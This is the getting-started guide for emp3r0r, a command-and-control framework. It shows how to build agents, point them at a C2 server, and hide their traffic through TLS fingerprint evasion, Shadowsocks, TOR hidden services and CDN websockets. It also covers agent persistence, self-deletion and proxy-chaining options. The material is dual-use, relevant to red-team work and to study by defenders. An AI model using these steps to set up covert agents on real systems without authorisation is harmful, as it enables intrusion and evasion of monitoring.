Getting started

Getting Started with emp3r0r

Overview

emp3r0r is a C2 framework that enables remote management of targets (agents) via a terminal UI. It supports a variety of transport mechanisms for secure communication.

Key Features:

Secure Transport: HTTP2 via TLS, Shadowsocks (TCP/UDP), TOR, CDN via Websocket.
Cross-Platform: Supports Linux on all CPU architectures, Windows (386/amd64).
Flexible Configuration: Customizable installation paths, agent generation, and communication methods.

Installation

Download and Install

Option 1: Clone and build from source

# clone the repository and build
git clone https://github.com/jm33-m0/emp3r0r.git && cd ./emp3r0r/core && ./emp3r0r --release
# unarchive the release tarball and install
tar -xvf emp3r0r.tar.zst && cd emp3r0r-build && sudo ./emp3r0r --install

Option 2: Download the latest release

Download from emp3r0r releases.

Extract files and install:

cd emp3r0r-build && sudo ./emp3r0r --install

Custom Installation

By default, emp3r0r installs to /usr/local/lib/emp3r0r.

To install in a custom directory:

PREFIX=/custom/path ./emp3r0r --install

Launch C2 UI

Ensure tmux is installed to view the terminal UI. On the first run, a server certificate is generated, requiring input for the C2 server's name.

Upgrade C2 Server

To upgrade the C2 server, run the following command:

upgrade_cc

Configuring and Running emp3r0r C2

Start C2 Server

After installation, run the following command to launch the C2 UI:

emp3r0r

Generate Agent Executables

Enter the agent builder:

use gen_agent

Set desired options for the agent using the set <option> <value> command:

Example: Set the C2 server address

set cc_host example.com

Once configurations are set, generate the agent binary:

run

The agent binary will be saved in ~/.emp3r0r.

Upgrade Agents

To upgrade an agent on a connected target:

upgrade_agent

Communication Methods

HTTP2 via TLS (Default - Defeats JA3 Fingerprinting)

Secure communication using HTTP2 over TLS is enabled by default.

Defeats JA3 Fingerprinting: The traffic is obfuscated to avoid detection by SSL/TLS client fingerprinting techniques like JA3.

Shadowsocks with Optional KCP

Shadowsocks: Obfuscates traffic using the AEAD_CHACHA20_POLY1305 cipher, making it difficult to detect.

KCP: Can be optionally enabled for UDP traffic optimization.

To enable Shadowsocks with KCP

set shadowsocks on

To enable Shadowsocks without KCP

set shadowsocks bare

TOR (Onion Routing)

Setting Up a TOR Hidden Service

To use TOR with emp3r0r, set up a hidden service on your server.

Example TOR configuration (/etc/tor/torrc):

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:8000

Here, 8000 is the C2 port, and 443 is the hidden service port. Note: Keep port 443 as it’s hardcoded in emp3r0r for TOR.

After configuration, retrieve your onion domain:

sudo cat /var/lib/tor/hidden_service/hostname

This will give you the .onion address, for example: cc.onion.

Generating Agent for TOR

When generating the agent, use the TOR .onion address as the C2 server address:

set cc_host cc.onion

This ensures the agent connects through TOR. Ensure TOR proxy (socks5://127.0.0.1:9050) is running on the target system before launching the agent.

Running Agent with TOR

By default, the agent uses the local TOR proxy at 127.0.0.1:9050. Run the TOR proxy and then start the agent:

./agent

CDN via Websocket

Setting Up CDN

To use CDN, first configure a CDN provider (e.g., Cloudflare) to forward websocket traffic to your C2 server.

The typical architecture looks like this:

agent -> socks5 -> CDN -> Nginx -> emp3r0r websocket server -> CC

Nginx should proxy websocket traffic to the emp3r0r C2 server. Example Nginx config:

location /emp3r0r {
    proxy_pass http://127.0.0.1:9000/ws;
    proxy_redirect off;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_set_header Host $http_host;

    # Show real IP
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

Generating Agent for CDN

When generating the agent, use your domain as the C2 server address. For example, if you are using Cloudflare:

set cc_host wss://yourcdn.com/emp3r0r

Running the C2 Server with CDN Support

On your C2 server, enable CDN support using the following command:

emp3r0r -cdn2proxy 9000

Here, 9000 is the websocket server's listening port.

Upstream Proxy

Proxy Support

emp3r0r agents can connect to the C2 server through upstream proxies, including HTTP or SOCKS proxies. Set the proxy address when generating the agent.

Agent Options and Features

C2 Indicator

Configure a "legit" URL (e.g., https://github.com) to hide C2 traffic. The agent checks this URL to decide whether to connect to the C2 server.

Auto Proxy

Agents can communicate and form a proxy chain using UDP broadcasting. This allows agents without direct internet access to route traffic through other connected agents.

DNS over HTTPS (DoH)

Agents can use DNS over HTTPS to securely resolve domain names for C2 connections.

Command-Line Options and Environment Variables

VERBOSE=true: Enable logging for agents.
PERSISTENT=true: Prevent agent from self-deleting.
REPLACE_AGENT=true: Replace existing agent process on the target.
ELVSH=true: Run the agent as an interactive elvsh shell.
-version: View agent version.

Advanced Features

Bring Agents to C2

This feature allows one connected agent to proxy another agent (which cannot directly connect to C2) by acting as an intermediary.

Example Command

use bring2cc
set target 192.168.1.10

Running Agents

Direct Connection (Defeats JA3 Fingerprinting)

Run the agent binary directly on the target system:

./agent

TOR Connection

Start a TOR proxy on the target system, and then run the agent:

./agent

CDN Connection

Use your domain name as the C2 server and specify the CDN proxy when generating the agent:

set cc_host wss://yourcdn.com/emp3r0r